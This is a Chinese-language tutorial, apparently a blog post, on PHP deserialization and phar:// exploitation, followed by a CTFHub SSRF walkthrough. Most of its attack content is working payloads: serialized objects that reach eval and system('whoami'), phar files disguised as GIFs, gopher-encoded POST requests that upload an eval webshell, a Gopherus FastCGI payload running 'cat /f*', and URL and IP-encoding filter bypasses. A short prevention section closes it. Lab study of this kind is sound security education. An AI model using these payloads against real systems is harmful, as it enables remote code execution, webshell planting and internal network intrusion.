from context ?> PHP在序列化含有private和protected权限的变量时,会在变量名前添加ASCII码为0的不可见字符,表现为%00类名%00属性名和%00*%00属性名。这些字符在显示和输出时可能不易察觉,甚至导致数据截断。为了清晰查看,可将序列化后的字符串进行urlencode编码后打印输出。案例,直接将我们url编码的结果复制到解码工具,会发现每个protected、private属性前面会有个�这个符号就是%00PHP常见的魔术方法__construct用于在创建对象时自动调用,主要用于初始化对象。<?php //声明一个类为Person class Person { public $name; public $age; // 构造函数 public function __construct($name, $age) { $this->name = $name; $this->age = $age; } // 一个普通的方法,用于显示信息 public function displayInfo() { echo "Name: " . $this->name . ", Age: " . $this->age . "<br>"; } } // 创建Person对象 $person1 = new Person("John", 30); $person2 = new Person("Jane", 25); // 调用方法显示信息 $person1->displayInfo(); // 打印:Name: John, Age: 30 $person2->displayInfo(); // 打印:Name: Jane, Age: 25 ?> __destruct它在对象被销毁时自动调用。这通常发生在对象的所有引用都被删除或者脚本执行结束时。__destruct() 方法常用于执行一些清理操作,比如关闭文件、释放资源等。<?php class Person { public $name; // 构造函数 public function __construct($name) { $this->name = $name; echo "构造函数被调用,对象 {$this->name} 被创建。<br>"; } // 析构函数 public function __destruct() { echo "析构函数被调用,对象 {$this->name} 被销毁。<br>"; } } // 创建Person对象 $person = new Person("John"); // 脚本结束时,$person 对象会被自动销毁,此时会调用 __destruct() 方法 ?> __toString它允许一个类对象在被当作字符串处理时自动调用该方法,并返回该对象的一个字符串表示。这通常用于调试目的,或者当你需要将对象以字符串形式输出时。<?php class Person { public $name; public $age; // 构造函数 public function __construct($name, $age) { $this->name = $name; $this->age = $age; } // __toString() 方法 public function __toString() { return "Person Object (Name: {$this->name}, Age: {$this->age})"; } } // 创建Person对象 $person = new Person("John", 30); // 当对象被当作字符串处理时,__toString() 方法会被自动调用 echo $person; // 打印:Person Object (Name: John, Age: 30) ?> __invoke允许一个对象像函数那样被调用。当你尝试以调用函数的方式调用一个对象时(例如,$obj()),__invoke() 方法会被自动调用。<?php class Greeter { public $name; // 构造函数 public function __construct($name) { $this->name = $name; } // __invoke() 方法 public function __invoke() { echo "Hello, {$this->name}!<br>"; } } // 创建Greeter对象 $greeter = new Greeter("World"); // 当对象被当作函数调用时,__invoke() 方法会被自动调用 $greeter(); // 打印:Hello, World! ?> __call它在尝试调用一个对象中不可访问的方法时被调用。class MyClass { private function myPrivateMethod($param1, $param2) { echo "调用了一个私有方法:$param1, $param2\n"; } public function __call($name, $arguments) { if ($name === 'myPrivateMethod') { return $this->myPrivateMethod($arguments[0], $arguments[1]); } else { echo "尝试调用的方法 '$name' 不存在。\n"; } } } $obj = new MyClass(); $obj->myPrivateMethod('Hello', 'World'); // 调用私有方法 $obj->myNonExistingMethod('Foo', 'Bar'); // 尝试调用不存在的方法 __sleep它在对象被序列化时调用。(序列化:将一个对象转化为字符串。)class MyClass { public $prop1 = 'value1'; public $prop2 = 'value2'; private $prop3 = 'value3'; public function __sleep() { // 返回不需要被序列化的属性名称数组 return array('prop2'); } } $obj = new MyClass(); $serialized = serialize($obj); echo $serialized; // 输出序列化后的字符串,其中不包含 $prop2 一.初步认识写入反序列化文件index.php,通过传参让页面出现phpinfo页面class one { var $b="phpinfo();"; function action() { eval($this->b);//eval:用于执行一段php代码字符串。 } } $a=unserialize($_GET['obj']);//将获取到的参数进行反序列化 $a->action();//执行这个方法 分析payloadO:3:"one":1:{s:1:"b";s:10:"phpinfo();";} 新建一个序列化test.php文件用于存放预构造的代码<?php class one { var $b='eval($_GET[2]);'; function action() { eval($this->b); } } $a=new one(); $a->action(); echo serialize($a);//实例化一个对象,将其序列化的内容打印出来 得到其序列化的结果,在我们的页面最下面我们将他反序列化-->index.php进行传参很好,能得到我们的结果,如果你疑问是不是index.php代码中包含了phpinfo(),所以他才能执行emmm,完全不需要顾虑,我们来验证这个结论,把这个自定义代码删掉嗯,很好,验证了我们的结论,这个反序列化漏洞,是可以进行任意代码执行的注意前面那个s,代表着你执行的代码字符串长度,大于或者小于这个长度,都是执行不了的当然也可以使用这种payloadhttp://127.0.0.1/index.php?obj=O:3:"one":1:{s:1:"b";s:15:"eval($_GET[2]);";}&2=echo system('whoami'); 在考虑完过滤等先决条件后,找到可控点,构造成我们想要执行的代码,将其反序列化利用。这个过程不要去看原来代码想要执行的,关键是去构造你要执行的二.简单利用简单利用反序列化index.php代码参考:<?php class one { var $b = 'echo 123;'; function action() { eval($this->b); } } class Student { var $a; function __construct() { $this->a = new one(); } function __destruct() { $this->a->action(); } } unserialize($_GET[1]); 新建一个test.php用于获取序列化结果,获取我们的参数<?php class one { var $b = 'echo 123;'; function action() { eval($this->b); } } class Student { var $a; //构造函数,对象被实例化即new的时候调用 function __construct() { $this->a = new one(); } //折构函数:被销毁时候调用 function __destruct() { $this->a->action(); } } $one = new Student(); echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:9:"echo 123;";}} 这时候再回到我们index.php可以正常执行代码,那么我们在test.php修改我们的payload为执行系统命令whoami,获取反序列化的攻击载荷<?php class one { var $b = 'system("whoami");'; function action() { eval($this->b); } } class Student { var $a; //构造函数,对象被实例化即new的时候调用 function __construct() { $this->a = new one(); } //折构函数:被销毁时候调用 function __destruct() { $this->a->action(); } } $one = new Student(); echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:17:"system("whoami");";}} 复制这个结果,使用具有反序列化漏洞的index.php进行传参三、相关绕过任务:访问当前目录的1.txt文件构造环境创建一个1.txt文件,输入任意内容,通过反序列化读取文件内容。习题代码<?php @error_reporting(1); echo $_GET['data']; class baby { public $file; function __toString() { if(isset($this->file)) { $filename = "./{$this->file}"; if (file_get_contents($filename)) { return file_get_contents($filename); } } } } if (isset($_GET['data'])) { $data = $_GET['data']; preg_match('/[oc]:\d+:/i',$data,$matches); if(count($matches)) { die('Hacker!'); } else { $good = unserialize($data); echo $good; } } else { highlight_file("./test4.php"); } ?> 这段PHP代码包含两部分:上部分定义了一个baby类,包含一个file属性和一个__toString魔术方法,用于读取并返回文件内容。下部分接收GET请求中的data参数,进行过滤后反序列化,并打印结果。理解这两部分的关系,特别是类的序列化形式,对于执行预期操作至关重要。既然上半部分定义了类,下半部分只是过滤的代码,可以将上半部分抽离出来,查看序列化的结果,以便于反序列化同上面一样构造序列化test.php<?php @error_reporting(1); echo $_GET['data']; class baby { //构造你要读取的文件 public $file="1.txt"; function __toString() { if(isset($this->file)) { $filename = "./{$this->file}"; if (file_get_contents($filename)) { return file_get_contents($filename); } } } } echo serialize(new baby()); .过滤:代码块中通过正则,不区分大小写的o,c字符,去匹配字符的冒号后的数字来做校验可以通过+4等价代替 4 从而绕过检测(+ url编码为%2b)payload O:%2b4:"baby":1:{s:4:"file";s:5:"1.txt";} 四、开始上手任务:读取 flag.游不动的鱼宝丶class A { public $mod1; public $mod2; //对象销毁之后调用 public function __destruct() { $this->mod1->test1(); } } class B { public $mod1; public $mod2; public function test1() { $this->mod1->test2(); } } class C { public $mod1; public $mod2; //__call尝试调用一个对象中不可访问的方法时被调用。 public function __call($test2, $arr) { $s1 = $this->mod1; $s1(); } } class D { public $mod1; public $mod2; //__invoke允许一个对象像函数那样被调用 public function __invoke() { $this->mod2 = "字符串拼接" . $this->mod1; } } class E { public $str1; public $str2; public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:" . "游不动的鱼宝丶"; } } $a = $_GET['obj']; unserialize($a); 我们来分析代码,E类中的魔术方法调用了GetFlag类中的方法这里的字符串拼接,调用了__toString魔术方法C类中的成员以函数的形式调用了自己的成员B类中的函数调用了C类中的$test2成员最后销毁代码构造: 通过 __construct()魔术方法,创建对象的时候自动调用 / 即在每一个类中都添加一个构造方法<?php class A { public $mod1; public $mod2; //通过 __construct()魔术方法,创建对象的时候自动调用 public function __construct() { $this->mod1 = new B(); } public function __destruct() { $this->mod1->test1(); } } class B { public $mod1; public $mod2; public function __construct() { $this->mod1 = new C(); } public function test1() { $this->mod1->test2(); } } class C { public $mod1; public $mod2; public function __construct() { $this->mod1 = new D(); } public function __call($test2, $arr) { $s1 = $this->mod1; $s1(); } } class D { public $mod1; public $mod2; public function __construct() { $this->mod1 = new E(); } public function __invoke() { $this->mod2 = "字符串拼接" . $this->mod1; } } class E { public $str1; public $str2; public function __construct() { $this->str1 = new GetFlag(); } public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:" . "游不动的鱼宝丶"; } } $c = new A; echo serialize($c);//O:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;} 序列化输出结果得到payloadO:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;} 使用具有该反序列化漏洞的index.php总结:从习题中不难看出, 漏洞的主要的原因就是在反序列化的过程中,通过我们的恶意篡改会产生魔法函数绕过,字符逃逸,远程命令执行等漏洞。Phar文件和Phar协议前言在PHP应用中,随着代码安全性的提升,直接利用unserialize()函数的反序列化漏洞变得越来越困难。为了绕过这一限制,攻击者开始利用PHAR文件存储用户自定义元数据为序列化的特性,为反序列化漏洞的攻击提供了新的途径。即使在没有直接的unserialize()调用或缺乏传参接口的情况下,攻击者仍可以通过可控的文件系统函数,配合phar://伪协议,实现不依赖unserialize()的直接反序列化操作。攻击者只需构造包含恶意代码的PHAR文件并上传到目标网站,然后通过特定方式触发反序列化,即可达到攻击目的。phar文件详解Phar文件是一种PHP归档格式,用于将多个PHP代码文件及其他资源(如图像、样式表等)打包成一个文件,便于应用程序和库的分发。其独特之处在于,它会以序列化的形式存储用户自定义的meta-data。当文件操作函数处理phar文件时,会自动触发meta-data的反序列化过程。phar文件分为四层Stub(存根):Phar文件的文件头,必须以<?php xxx __HALT_COMPILER(); ?>结尾,其中xxx可以是自定义的任何字符,如果不定义则默认为<?php __HALT_COMPILER(); ?>。Manifest(清单):包含了压缩文件的权限、属性以及序列化形式存储的用户自定义元数据等信息。在利用Phar反序列化漏洞时,Manifest中的序列化字符串是攻击的主要目标。Contents(内容):包含了实际的文件内容,比如PHP脚本、图片、样式表等应用程序正常运行所需的其他文件。这些文件在Phar文件中被压缩存储,以节省空间并便于分发。Signature(签名)(可选):验证Phar文件的完整性和真实性。生成phar文件1.准备环境1.1Phar需要 PHP >= 5.2 1.2在php.ini中将phar.readonly设为Off(注意去掉前面的分号)php配置具体index.php代码,phar文件生成<?php class AnyClass{ var $output = 'phpinfo();'; function __destruct() { eval($this -> output); } } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub $o = new AnyClass(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?> 访问index.php生成phar文件查看目录这里就有了序列化之后的结果Tips : phar.phar文件是在本地生成后上传到目标网站的。配合phar协议和相关函数,它可以构成反序列化攻击的杀伤链。因此,前置的PHP环境配置操作不会影响后续的攻击实施。利用的关键在于:phar文件必须能上传到服务器;存在可用的魔术方法作为攻击的“跳板”;文件操作函数的参数可控,且特殊字符如./、../、phar等未被过滤。php大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,知道创宇测试后发布的受影响的函数如下 :文件操作函数绕过技巧1.环境限制了phar不能出现在前面的字符里compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt php://filter/read=convert.base64-encode/resource=phar://phar.phar 2.验证文件格式$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 3、绕过上传后缀检查即使将文件后缀改为gif也不影响phar的文件最终执行执行index.php一.初步了解任务:目标1.php界面任务执行phpinfo()1、index.php代码(具有phar协议反序列化漏洞的代码)<?php class Files { var $b = 'echo ok;'; function __destruct() { eval($this->b); } } //$file = '../'.$_GET['file']; is_dir('phar://phar.phar/test.txt'); 2、test.php攻击代码<?php class Files{ var $b = 'phpinfo();'; function __destruct() { eval($this -> b); } } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,验证文件格式 $o = new Files(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); 这里我们执行我们的攻击代码,生成phar.phar文件可以查看phar.phar文件(.metadata.bin放置着序列化的恶意代码)生成成功后我们就可以利用这个具有phar协议反序列化漏洞index.php访问了,执行成功看不出效果?那么这样呢访问test.php,为空白界面查看文件对payload的obj参数进行传参执行系统命令二、进一步了解通过phar协议读取Destruct called目标文件class TestObject { public function __destruct() { echo 'Destruct called'; } } $filename = $_GET['cmd']; file_get_contents($filename); 分析:存在可控点以及文件操作函数file_get_contents,需要通过phar协议的反序列化功能,配合file_get_contents函数,执行phar.phar文件内序列化后的代码1、同理,构造phar.phar文件,将恶意代码序列化存入phar.phar的.metadata.bin文件中phar.phar文件生成成功利用phar协议,执行了具有phar协议反序列化漏洞的php文件,并成功获取到了魔术方法中的内容扩展:练习具体代码class Test { public $num = 2; public function __destruct() { if ($this->num === 1) { echo 'flag{123}'; } } } echo file_get_contents($_GET['data']); (关键在于构建恶意的代码,关注点在$num = 2 --->$num=1)再深入任务:通过phar协议执行phpinfo详细:通过upload_file.php,index.php,page.php文件模拟攻击目标,使用phar文件和phar协议执行反序列化,达到任意代码执行效果.环境准备1.www/目录(网站根目录)下放upload_file.php,index.php,page.php文件2.www/目录(网站根目录)下新建upload_file文件夹3.各个文件内容及解释<?php if (($_FILES["file"]["type"] == "image/gif") && (substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.') + 1)) == 'gif') { echo "Upload: " . $_FILES["file"]["name"]; echo "Type: " . $_FILES["file"]["type"]; echo "Temp file: " . $_FILES["file"]["tmp_name"]; if (file_exists("upload_file/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" . $_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } } else { echo "Invalid file,you can only upload gif"; } upload_file.php:内容做了一个上传文件后缀的限制upload_file.phpindex.php 提供一个上传界面<body> <form action="/upload_file.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="Upload" /> </form> </body> page.php 目标可控点<?php $filename=$_GET['filename']; class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } file_exists($filename);//用于检查文件或目录是否存在 page.php分析1.目标存在可控点以及文件操作函数page.php分析受影响的文件操作函数表2.只有upload_file.php的对上传文件的后缀和类型进行限制,但是!我们phar文件也可以使用gif后缀!文章中有提到,可以仔细看一看。所以这题我们就可以使用phar协议进行漏洞复现开始解题1、构造上传文件phar,test.php<?php class AnyClass{ var $output = 'phpinfo();'; function __destruct() { eval($this -> output); } } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,验证文件格式 $o = new AnyClass(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); 检查我们的payload改文件名上传之前,新建一个upload_file文件夹因为这里测试的文件上传代码保存在这个文件夹中开始上传上传成功执行我们的payload漂亮!反序列化漏洞预防使用安全的序列化/反序列化库选择经过安全审计的、维护良好的序列化库。避免使用已知存在安全漏洞的库。限制反序列化的类型只允许反序列化预定义、可信的类。使用类型安全的序列化机制,如Java中的ObjectOutputStream和ObjectInputStream时,可以使用enableSubstitution方法来限制反序列化的类。数据完整性验证在序列化和反序列化过程中,使用数字签名或消息认证码(MAC)来验证数据的完整性。确保序列化数据在传输过程中未被篡改。定期审计和测试定期对应用程序进行安全审计,以识别潜在的反序列化漏洞。使用自动化工具和手动测试方法来检测和利用反序列化漏洞。原文有一定缺陷,在本文已修复,并且本文也比较通俗易懂文章参考:https://mp.weixin.qq.com/s/98SP8M-OjkvLw4lPi3ojvQ
2025年05月18日
1,934 阅读
0 评论
0 点赞
2025-05-18
CTFHub技能树通关教程——SSRF漏洞原理攻击与防御
什么是SSRF?即服务器端请求伪造(Server-Side Request Forgery),是一种网络攻击技术,攻击者利用服务器上的应用程序向任意服务器发起请求或者操作,这些请求可能包括但不限于文件读取、命令执行、端口扫描等。由于这些请求是从服务器内部发起的,因此他们可以绕过服务器的外部访问控制,访问内部网络资源或者执行恶意操作。它的危害SSRF攻击通常发生再服务器应用程序允许用户输入被用于构建请求 URL的情况下。如果输入没有得到适当的验证和过滤,攻击者就可以利用这一点来发起恶意请求。例如,如果一个应用程序允许用户输入一个URL来下载文件,攻击者可能会输入指向内部服务器的URL,从而访问或者下载内部文件。如何防御?验证所有用户输入,确保它们是合法的和预期的。限制可访问的URL或资源,避免访问内部网络或敏感资源。使用白名单机制,只允许访问预定义的、安全的URL。对于敏感操作,实施额外的安全措施,如身份验证和授权检查。SSRF漏洞复现靶场:CTFHub,Pikachu内网访问开启环境后,查看题目条件,找出位于127.0.0.1的flag.php页面什么也没有根据题目要求尝试使用这个url参数,进行内网访问,但是页面什么也没有仔细观察url参数前面有一个_,将它删掉试试,测试成功伪协议读取文件常见的伪协议类型有file:///dict://sftp://ldap://tftp://gopher://这里我们用到的是file:/// --本地文件传输协议,主要用来访问本地计算机中的文件,构造payload如下。/?url=file:///var/www/html/flag.php鬼的,他就三个?对于刚入门的小白,我懵逼了。。。。直到几分钟后我查看了他的源码。emmmm,这不就是我们的结果嘛,这关过了端口扫描题目:来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦截取到请求包之后发送到攻击器(Intruder)添加payload,这里只有一个需要爆破,所以攻击方式选狙击手设置payload为数值型,因为需要扫描的端口是8000-9000,所以payload配置如下验证匹配结果,并开始攻击端口爆破成功,成功找到flag,端口为8248尝试使用浏览器访问内网的8248端口,成功!Gopher协议的利用定义:Gopher是早期的Internet信息检索系统,通过索引将用户引导至不同资源,主要使用TCP 70端口。在WWW普及前,它是主要的检索工具,但现已基本过时,使用较少。gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是SSRF利用中最强大的协议POST题目:这次是发一个HTTP POST请求.对了.SSRF是用php的curl实现的.并且会跟踪302跳转.加油吧骚年这个题目中呢有这么一个文件,在127.0.0.1中的flag.php当我尝试输入了各种值,抓包分析,直到我查看了源码。。这里有一个key,还是被注释了的,不知道是干嘛的先复制下来2161b9fb20ae6d96b0604425b1de64be,尝试使用file协议查看php源码,访问默认web目录var/www/html/flag.php,即?url=file:///var/www/html/flag.php这时候即可查看源码,尝试进行分析 <?php //关闭所有的错误报告 error_reporting(0); //判断请求的ip地址是否是127.0.0.1 if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { //如果不是127.0.0.1,就返回这段字符串 echo "Just View From 127.0.0.1"; return; } //falg的获取 $flag=getenv("CTFHUB"); $key = md5($flag); //判断post请求中是否存在key这个参数,key就是刚刚页面上看到的注释的值 if (isset($_POST["key"]) && $_POST["key"] == $key) { echo $flag; exit; } ?> <form action="/flag.php" method="post"> <input type="text" name="key"> <!-- Debug: key=<?php echo $key;?>--> </form>每个项目中默认主页都是index,这是一个php靶场,那么这首页就是index.php/?url=file:///var/www/html/index.php访问之后是个空页面,但是查看网页源码会发现,尝试分析一下源码<?php //关闭错误报告 error_reporting(0); //判断url参数是否存在 if (!isset($_REQUEST['url'])){ //不存在就跳转到当前根目录 header("Location: /?url=_"); exit; } //初始化curl $ch = curl_init(); //指定请求的url curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); //告诉curl不返回http头,只返回http正文 curl_setopt($ch, CURLOPT_HEADER, 0); //允许cURL跟随重定向。如果服务器响应包含重定向,cURL将自动处理。 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_exec($ch); curl_close($ch);这段代码没有包含错误处理,也没有设置CURLOPT_RETURNTRANSFER选项,这可能导致cURL的输出直接被输出到浏览器,所以可以利用此curl漏洞进行攻击构造POST请求包访问flag.php查看源码找到key,并输入到输入框,使用bp拦截尝试使用Gopher 协议向服务器发送 POST 包在使用Gopher协议发送POST请求包时,HOST、Content-Type和Content-Length请求头是必不可少的,但是在GET请求中可以没有。key值为自己所获得的。在向服务器发送请求时,首先浏览器会进行一次URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次解码。所以我们需要对构造的请求包进行两次编码:第一次解码将解码的结果复制下来,保存在txt文档中,其中需要将%0A替换成 %0D%0A因为%0A是ASCII 码中的换行符,在URL的二次编码中不需要,否则会导致curl执行错误,导致我们拿不到正确的结果替换完成之后,再次进行url编码,这里的url就是源码中的curl要执行的//使用gopher协议,构造payload ?url=gopher://127.0.0.1:80/_二次编码的url(注意别少了前面那个下划线)得到结果!上传文件题目:这次需要上传一个文件到flag.php了.祝你好运访问内网下的127.0.0.1/flag.php,这里什么也没有,就一个上传文件,还没有提交按钮这里脑回路就来了,题目要求是上传文件,没有提交按钮,我可以自己添加一个啊(・◡ु‹ )Tips:在html中如果button在form标签中,默认是提交按钮,这里可以不要改变他的type属性。这个时候就可以提交了,但是没有任何内容。我们尝试访问源码利用file协议基础漏洞访问 file:///var/www/html/flag.php<?php error_reporting(0); //判断请求的ip,虽然不能访问127.0.0.1,但是可以使用Gopher协议绕过 if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ echo "Just View From 127.0.0.1"; return; } // 判断文件是否存在 if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){ echo getenv("CTFHUB"); exit; } ?> Upload Webshell <form action="/flag.php" method="post" enctype="multipart/form-data"> <input type="file" name="file"> </form>构造自己的post上传文件请求包POST /flag.php HTTP/1.1 Host: challenge-3fe3506777a14929.sandbox.CTFhub.com:10800 Content-Length: 231 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCkYhfsFblAQSYePb User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundaryCkYhfsFblAQSYePb Content-Disposition: form-data; name="file"; filename="myscript.php" Content-Type: application/octet-stream <?php @eval($_POST['shell']);?> ------WebKitFormBoundaryCkYhfsFblAQSYePb-- gopher协议的俩次URL编码(第一次编码完成后需要将%0A修改为%0D%0A)前面忘记补充了gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是SSRF利用中最强大的协议得到伪造payload:?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520challenge-3fe3506777a14929.sandbox.CTFhub.com:10800%250D%250AContent-Length:%2520231%250D%250ACache-Control:%2520max-age=0%250D%250AUpgrade-Insecure-Requests:%25201%250D%250AOrigin:%2520http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=----WebKitFormBoundaryCkYhfsFblAQSYePb%250D%250AUser-Agent:%2520Mozilla/5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64)%2520AppleWebKit/537.36%2520(KHTML,%2520like%2520Gecko)%2520Chrome/125.0.0.0%2520Safari/537.36%250D%250AAccept:%2520text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7%250D%250AReferer:%2520http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php%250D%250AAccept-Encoding:%2520gzip,%2520deflate,%2520br%250D%250AAccept-Language:%2520zh-CN,zh;q=0.9%250D%250AConnection:%2520close%250D%250A%250D%250A------WebKitFormBoundaryCkYhfsFblAQSYePb%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522myscript.php%2522%250D%250AContent-Type:%2520application/octet-stream%250D%250A%250D%250A%253C?php%2520@eval($_POST%255B'shell'%255D);?%253E%250D%250A------WebKitFormBoundaryCkYhfsFblAQSYePb--得到结果(´。✪ω✪。`)FastCGI协议介绍FastCGI是一种用于数据传输的通信协议,与HTTP协议相似,它提供了一个进行数据交换的通道。详细见 https://blog.csdn.net/mysteryflower/article/details/94386461CTFHub漏洞复现题目:这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助。git clone https://github.com/tarunkant/Gopherus.git然后使用python2执行这个脚本这里的cat /f*命令就是漏洞利用,获取flag返回的请求内容,这是我的payloadgopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH59%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3B%04%00%3C%3Fphp%20system%28%27cat%20/f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00编码之后的结果gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520/f%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500进行注入,得到flag,(。◕ ∀ ◕。)Redis协议题目:这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!本关还是使用Gopherus脚本尝试使用漏洞file协议读取shell.php?url=file:///var/www/html/shell.php一句话木马上传成功然后访问shell.php使用中国大蚂蚁打开终端,使用find命令查找flag*find / -name flag*这里我的结果在最后一行cat查看内容 ⁙ὸ‿ό⁙URL Bypass原理先看说一些废话吧,url重定向漏洞也称url任意跳转漏洞,网站信任了用户的输入导致恶意攻击,url重定向主要用来钓鱼,比如url跳转中最常用的跳转,在登录,支付口,也就是一旦登录将会跳转任意自己构建的网站,如果设置成自己的url则会造成钓鱼。参考 https://segmentfault.com/a/1190000021968717漏洞复现看题目:请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧我们可以使用HTTP 基本身份认证绕过: HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式也就是:http://www.xxx.com@www.yyy.com形式,这里介绍一些常用绕过方式1.最常用的@绕过 url=http://www.aaaa.com@www.xxx.com(要跳转的页面)他有的可能验证只要存在aaaa.com就允许访问,做个@解析,实际上我们是跳转到xxx.com的 2.?号绕过 url=http://www.aaaa.com?www.xxx.com 3.#绕过 url=http://www.aaaa.com#www.xxx.com 4.斜杠/绕过 url=http://www.aaaa.com/www.xxx.com 等等等等paload如下:?url=http://notfound.ctfhub.com@127.0.0.1/flag.php(´•ω•`๑)数字IP Bypass题目: 这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢嗯,我的第一想法是使用localhost,不知道能不能行,尝试一下成功,验证了我的想法,既然localhost可以,转换为16进制试试看,payload如下?url=0x7f000001/flag.php八进制:0177.000.000.001十进制:127.0.0.1十六进制:0x7f000001既然也可以!!分析下源码吧?url=file:///var/www/html/flag.php<?php error_reporting(0); if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { echo "Just View From 127.0.0.1"; exit; } echo getenv("CTFHUB");分析下源码吧?url=file:///var/www/html/index.php<?php error_reporting(0); if (!isset($_REQUEST['url'])) { header("Location: /?url=_"); exit; } $url = $_REQUEST['url']; 